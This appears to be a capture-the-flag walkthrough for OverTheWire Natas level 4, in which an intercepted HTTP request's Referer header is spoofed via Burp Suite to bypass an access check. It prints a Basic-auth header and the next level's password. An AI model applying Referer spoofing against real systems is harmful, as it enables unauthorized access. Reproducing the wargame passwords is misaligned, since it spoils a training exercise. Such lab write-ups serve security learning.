

Natas Level 3 - Level 4

Logged in, we are greeted with this message.

```
Access disallowed. You are visiting from "" while authorized users should
come only from "http://natas5.natas.labs.overthewire.org/"
```

Inspecting the code gives us a clue on how to solve this level.

```
<body>
<h1>natas4</h1>
<div id="content">

Access disallowed. You are visiting from "" while authorized users should
come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="[index.php](view-
source:http://natas4.natas.labs.overthewire.org/index.php)">Refresh page</a>
</div>
</div>
</body>
</html>
```

Looks like we have to visit the site as if we were coming from natas5.

In this level we need to use Burp Suite to intercept the communication between the browser and the natas4 website.

On interception, the following code is displayed.

```
GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
Authorization: Basic bmF0YXM00lFyeVpYYzJlMHphaFVMZEhydEh4enlZa2o10WtVeExR
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36
Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,  
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Referer: http://natas4.natas.labs.overthewire.org/index.php  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive
```

The 'referer' field needs to be replaced with:

```
http://natas5.natas.labs.overthewire.org
```

If we alter the referer field and then forward to packet on we receive the password to the next level.

```
Access granted. The password for natas5 is 0n35PkggAPm2zbEp0U802c0x0Msn1ToK
```